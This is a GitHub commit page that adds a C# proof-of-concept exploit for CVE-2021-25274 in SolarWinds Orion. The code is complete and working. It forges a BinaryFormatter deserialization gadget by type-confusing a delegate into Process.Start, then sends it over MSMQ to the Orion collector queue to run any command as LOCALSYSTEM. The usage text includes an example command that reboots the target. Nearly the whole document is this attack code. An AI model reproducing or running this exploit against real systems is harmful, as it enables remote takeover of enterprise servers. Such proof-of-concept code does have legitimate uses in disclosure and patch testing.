Skip to content

Commit

Permalink
Create CVE-2021-25274.cs
Browse files Browse the repository at this point in the history
  • Loading branch information
karlsigler committed Feb 9, 2021
1 parent 6bf0b7e commit 29b1fff
Showing 1 changed file with 164 additions and 0 deletions.
164 changes: 164 additions & 0 deletions CVE-2021-25274/CVE-2021-25274.cs
@@ -0,0 +1,164 @@
/*
** To build:
**
** Copy SolarWinds.Collector.Contract.dll from SolarWinds machine (C:\Program Files (x86)\Common Files\SolarWinds\Collector\)
**
** %windir%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:SolarWinds.Collector.Contract.dll OrionMSMQ.cs
*/

using SolarWinds.Collector.Contract;

using System;
using System.Collections.Generic;
using System.Data.Linq;
using System.Diagnostics;
using System.IO.Compression;
using System.IO;
using System.Linq;
using System.Messaging;
using System.Reflection;
using System.Text;

namespace OrionMSMQ
{
internal class CompressedMessageFormatter : IMessageFormatter, ICloneable
{
// Fields
private IMessageFormatter baseFormatter;
private byte[] compressHeader;

// Methods
public CompressedMessageFormatter(IMessageFormatter original) : this(original, 0x1e8480)
{
}

public CompressedMessageFormatter(IMessageFormatter original, long compressThreshold)
{
this.compressHeader = Encoding.ASCII.GetBytes("CompressVersion1");
if (original == null)
{
throw new ArgumentNullException("original");
}
this.baseFormatter = original;
this.CompressThreshold = compressThreshold;
}

public bool CanRead(Message message)
{
if (message == null)
{
return false;
}
return (message.BodyStream != null);
}

public object Clone()
{
return new CompressedMessageFormatter((IMessageFormatter)this.baseFormatter.Clone());
}

public object Read(Message message)
{
if (message == null)
{
throw new ArgumentNullException("message");
}
byte[] buffer = new byte[this.compressHeader.Length];
message.BodyStream.Position = 0L;
message.BodyStream.Read(buffer, 0, buffer.Length);
if (this.compressHeader.SequenceEqual<byte>(buffer))
{
message.BodyStream.Seek((long)buffer.Length, SeekOrigin.Begin);
using (DeflateStream stream = new DeflateStream(message.BodyStream, CompressionMode.Decompress))
{
Message message2 = new Message
{
BodyType = message.BodyType
};
stream.CopyTo(message2.BodyStream);
message.BodyStream = message2.BodyStream;
}
}
message.BodyStream.Position = 0L;
return this.baseFormatter.Read(message);
}

public void Write(Message message, object obj)
{
if (message == null)
{
throw new ArgumentNullException("message");
}
if (obj == null)
{
throw new ArgumentNullException("obj");
}
this.baseFormatter.Write(message, obj);
if (message.BodyStream.Length >= this.CompressThreshold)
{
MemoryStream stream = new MemoryStream();
stream.Write(this.compressHeader, 0, this.compressHeader.Length);
using (DeflateStream stream2 = new DeflateStream(stream, CompressionMode.Compress, true))
{
message.BodyStream.Position = 0L;
message.BodyStream.CopyTo(stream2);
}
stream.Position = 0L;
message.BodyStream = stream;
}
}

// Properties
public long CompressThreshold { get; internal set; }
}

class Program
{
public static void TypeConfuseDelegate(Comparison<String> comp)
{
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
Object[] invoke_list = comp.GetInvocationList();
invoke_list[1] = new Func<String, String, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}

static void Main(String[] args)
{
Console.WriteLine("");
Console.WriteLine("Microsoft Message Queuing Feature should be installed on your computer before running this POC.");
Console.WriteLine("");
if (args.Length < 2)
{
Console.WriteLine("Provide IP address of SolarWinds box and a command to run as LOCALSYSTEM.");
Console.WriteLine("Example invocation:");
Console.WriteLine();
Console.WriteLine("\tOrionMSMQ.exe 192.168.1.11 shutdown /r");
return;
}

// Borrowed from https://googleprojectzero.blogspot.com/2017/04/
Delegate d = new Comparison<String>(String.Compare);
Comparison<String> d2 = (Comparison<String>)MulticastDelegate.Combine(d, d);
IComparer<String> comp = Comparer<String>.Create(d2);
SortedSet<String> set = new SortedSet<String>(comp);

for (int i = 1; i < args.Length; i++)
{
set.Add(args[i]);
}

TypeConfuseDelegate(d2);

PropertyBag bag = new PropertyBag();
bag["PollingPlanID"] = "0";

bag["Payload"] = set;
String path = String.Format("FormatName:DIRECT=TCP:{0}\\private$\\solarwinds/collector/processingqueue/core.node.details.wmi", args[0]);
MessageQueue rmQ = new MessageQueue(path);
Message msg = new Message(bag, new CompressedMessageFormatter(new BinaryMessageFormatter()));
rmQ.Send(msg);
Console.WriteLine("Payload sent to remote queue:");
Console.WriteLine(rmQ.Path);
}
}
}

0 comments on commit 29b1fff

Please sign in to comment.